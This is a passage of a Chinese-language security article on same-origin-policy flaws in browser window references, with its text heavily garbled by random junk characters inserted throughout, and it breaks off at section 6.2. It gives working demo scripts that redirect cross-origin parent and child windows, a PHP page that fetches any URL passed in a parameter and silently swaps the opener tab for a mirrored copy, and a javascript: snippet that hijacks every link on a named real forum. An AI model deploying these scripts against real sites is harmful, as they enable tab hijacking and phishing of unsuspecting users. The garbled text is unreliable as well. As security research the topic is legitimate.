4 `+ Z+ e" u& A S5 u 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对 7 I9 C) A, P/ b* x+ A; x! R象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:$ q& U" S k: h/ `: C4 B! |
0 g$ y5 G( J7 G* n& X. W' @2 I--code-------------------------------------------------------------------------2 j: q Y, O% B5 N1 Q
<script language="javascript">, H6 m. }* ?$ V: u
for(p in window) document.write(p+"<br>"); / f; m0 p2 k: H, ]* D! T</script> : P# \, C% F& ^& y% b-------------------------------------------------------------------------------6 h0 j, M; T, F/ D( J4 t
# J9 J' b* t" @( j$ [ 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方. j4 [4 r1 v* G8 D8 u3 t
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,; @4 W$ r" @$ ~' h/ d, p$ y
这些属性和方法就必须遵循同源策略。6 r- [# l+ z3 ~9 [
2 v8 e/ h) N- h9 C( s1 X5 R
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那 2 c6 p( H' L" K3 B么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须5 ?! }: h' j; x& a& Y) u0 r: W
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这 , n A# X# z2 [: K' B- ]- E$ H; E, ?' b个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的 ' n! j) X' {0 @, l1 S* M值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location" I% K) a) _0 V9 v
属性并没有被拒绝访问。 " P3 \ G) [4 x% v& K3 o+ C* {) H" K$ |- r) v8 r. R" Q! q
--demo.html--------------------------------------------------------------------# o: C( u$ c3 _; S, t1 V* E, g3 {
<script language="javascript"> . d3 I& y1 M4 Z8 z: T
function allPrpos(obj) { 2 N4 {/ J( P1 D- t var props = "<table><tr><td>名称</td><td>值</td>"; % ~! g+ l: ?1 ~( t( ]( ~5 S& @ for(var p in obj){ 0 O j$ ?3 y6 u' T& m" b1 [ if(typeof(obj[p])=="function"){ : n" q$ u" [+ F F( S9 H
obj[p](); # H8 Z( z- @2 C5 s }else{ , V3 z0 D/ {9 d, y& `7 J1 j/ U; v
try 8 i1 r7 _, U0 J9 F! S { * l9 |" h4 R: y5 H props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; 7 y, s4 g1 v7 A a) W7 _
} ; z& V; e7 ]" z" b+ x$ j/ q9 W
catch (ex) ; s$ R2 g! \) [6 m6 w( R- ^ { / t8 ^8 ]% V9 w
! R# X3 o7 D/ [
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; & m9 R3 l" p3 o$ h, Z0 K _
} 3 f& q1 ]6 k4 r, |3 l& X
1 M3 J2 S$ p( s0 O! r } ' u% W$ f8 G% ?( g9 _$ K
} ' { r( [. F" |2 G
4 n- O2 ~% ~7 L document.write(props+"</table>"); 9 d* C% o+ V) \} 7 ~: f# {- n3 F/ \. }
6 h. G% p$ S$ e% t) i
function createWin() { / Y$ r. i! y5 a! y0 }5 a newWin = window.open ("http://www.google.com"); ! d, d; `2 |$ a7 N& |% l. b setTimeout(function(){allPrpos(newWin)},2000); 8 i- {- b- O! V: o
} ( {" y9 ?1 F( ~/ X
- Z3 l- R- o1 \. A
</script> 4 x9 w) H% g$ Q. P* ^1 |; c4 u i1 Y6 b& N
<button onclick='createWin()'>创建一个非同源子窗口测试</button> + e! R6 q! [) ^$ B------------------------------------------------------------------------------- : F& j6 C1 \% Y( t. c! P% O' z0 |. W) H9 G; T
# V: j' g8 d# z+ D
四、窗口引用功能中的同源策略漏洞( K! n; m$ Z2 h2 I8 D
% O9 |- `1 o; C S" r* k4 Y) T4.1 父窗口引用子窗口的同源策略问题/ n2 }) a* s0 `, }
! b2 m7 d8 e( j' B. M! Q, x. ^
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复, 0 s" M5 n6 u) M但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道/ ^- T0 h2 F. g) E) i# l
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进' O; I9 l5 E6 x7 z0 s+ T& q
行测试,会发现父窗口可以控制非同源子窗口location属性值。 3 T q- W& K9 X0 n1 E C 5 L2 H1 r. V) B* U4 {- r6 b--vul1.html-------------------------------------------------------------------- 2 y* ]7 l% q" q2 j6 a8 m<script language="javascript"> $ K4 C8 u1 M# r) f% u) A6 O0 kfunction createWin() { ( M6 _9 V/ x3 ?' }& V b# {7 O
newWin = window.open ("http://www.google.com"); 5 q- i+ u" D/ e. x setTimeout(function(){newWin.location="http://www.80sec.com"},2000); + R* c& o& q7 M4 ~4 p} 5 j4 J8 I) o7 v5 u$ m</script> % h7 g" ^) H& n4 e4 m+ l+ @4 G. } 2 C( i6 O. ~' R% k2 K& J3 [1 y<button onclick='createWin()'>创建一个非同源子窗口测试</button> ( N1 D8 z) P+ u! P- P-------------------------------------------------------------------------------& Q: g4 H3 c/ u, l% J; L
5 p) Z' V4 m, K8 b5 A
& h) C0 q- Y# w) G
4.2 子窗口引用父窗口的同源策略问题7 c3 x' e1 ?; j# |8 Z I& I/ D
3 \2 b8 }4 |! F H2 m
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使 * b' _# }" |7 c, i1 y用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们 - W$ U& t; v1 V* N1 ~可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定 4 v/ _& k4 ^$ h; F会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。; T) t: y( f7 ?; g, J& i2 t; `
* X$ u1 p4 F3 |$ q# f; h--code-------------------------------------------------------------------------" y9 p$ a) c% C. S
1 w; @* F8 F5 s7 D/ W
javascript:window.opener.location = "http://www.80sec.com";void(0);- h9 z3 I/ X6 Y) n. @3 Z
0 h q5 s3 [ Z3 C) N: q9 _& \ Q# w
------------------------------------------------------------------------------- {; f" v- s) F i" H
4 N- v( O+ S# F( Y' b$ A) o' I' e: Y1 \1 }
五、利用窗口引用漏洞劫持浏览器 6 D( e& I; F) Q' ]1 P7 N - K0 N- B1 N# e( C 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子+ r2 @' o' x% F' ?9 O
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那 - A( o2 E, N1 \' a' J4 M% e么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。8 ?" J1 y7 ^" D' ^
5 {9 ?7 F, H% J1 @% B* R 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产 9 i# u: m' w5 e2 ]生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或 / U; q) k/ C8 L: e者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接 1 l& k, b4 J& o) ~* @! M后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下 : p: B) u" C9 W" x$ W会产生什么可怕的后果。 V% M/ C2 Z' D% N7 k0 Q0 H. p6 I( Z' M j6 }& Y4 a
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我' ] _0 C3 j! D5 L% P5 B
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php 2 S! ^2 c$ x9 g8 ~& k( x5 m+ X+ i这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时+ B7 ]/ @+ d0 a# P2 B- i4 }$ d
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可 . ]9 z0 P* q+ ~3 E# Y以做更多的事情,所有的一切仅仅是因为点击了一个链接。0 z; ~) w5 V1 M# |
# m. Z$ r& P. C3 A
--hjk_ref.php------------------------------------------------------------------ 7 T3 C# U1 x/ q2 w' i9 g( R<?php 2 r( D. h6 A* a/ t; y7 K2 x+ Fif (array_key_exists("HTTP_REFERER", $_SERVER)) { 0 s. O. D8 [9 i1 L$Url_Mirror = $_SERVER["HTTP_REFERER"];4 `# Q" V3 ~% _, P b' Z" Y
} 0 l' B& ^2 F6 L$ f/ {2 Yif(isset ($_GET['ref'])) { " r- e; n5 j! M: fecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>'; . c' K* S' x( L. V+ k! E' o; b% F} ! F6 f5 _ T1 x; n) r. V! Z! i?> 2 {. ~% Y( x! h O' F _3 V# `& F
<script language="javascript">" W9 k. A* N' T1 z& Q$ l5 u
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); / k" F3 _$ m1 F</script> 6 A) c e; o8 r------------------------------------------------------------------------------- # ?# [2 t! g, M% n) @! y4 ?. a) p% P2 q/ `
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。2 T8 T) B9 B& R( M/ x r1 G
6 g8 U' j7 R" e5 k' Z) c# O1 ]. C0 Q+ p# w, B6 \ Z, u
六、利用XSS漏洞劫持浏览器 6 n% H. } i5 Z- r1 p- E 9 C0 u# r' g: q/ o: c/ ?# C9 k 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为 % [1 w0 U2 h- M. I5 G4 W持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后 . G* x8 M3 r/ mXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起 , F" w5 X, W9 H. r) `$ g' M讨论跨站师的终极技巧: # Q" _2 B5 m2 H7 A" q ( Z0 m+ d- W% N+ C* M) F3 z( ? 9 ?, ~9 y" s9 P6.1 正向跨窗口劫持5 n+ t+ g# M% m+ Z
$ }$ `7 I/ }( W. a) _% c, _/ M- d
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛 7 f5 }' |9 I7 w) h主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链 " z+ T6 a8 u+ p/ G" Q接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话 3 V( f" N9 D. e0 }" W2 |框脚本。 1 W3 o* z6 e# \6 t: L9 w, C! P' p : ]( y- j5 `8 u+ q7 b' G) J3 Q6 Z+ h--hijack_open.js--------------------------------------------------------------- " }5 q1 j$ Y: \6 |9 C3 w! [$ Q9 h" U9 }/ Y6 j* D( Z/ `
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0); 5 R) Z$ q* r' d# g8 e! M & y* _5 w' F+ V6 X$ a/ w$ q0 r-------------------------------------------------------------------------------) U7 Q6 _2 X! t
0 B2 |! C* o# G5 @% p* _" k
: z3 }: `8 M/ F. s1 }
6.2 反向跨窗口劫持- ]+ O! w7 z& M$ c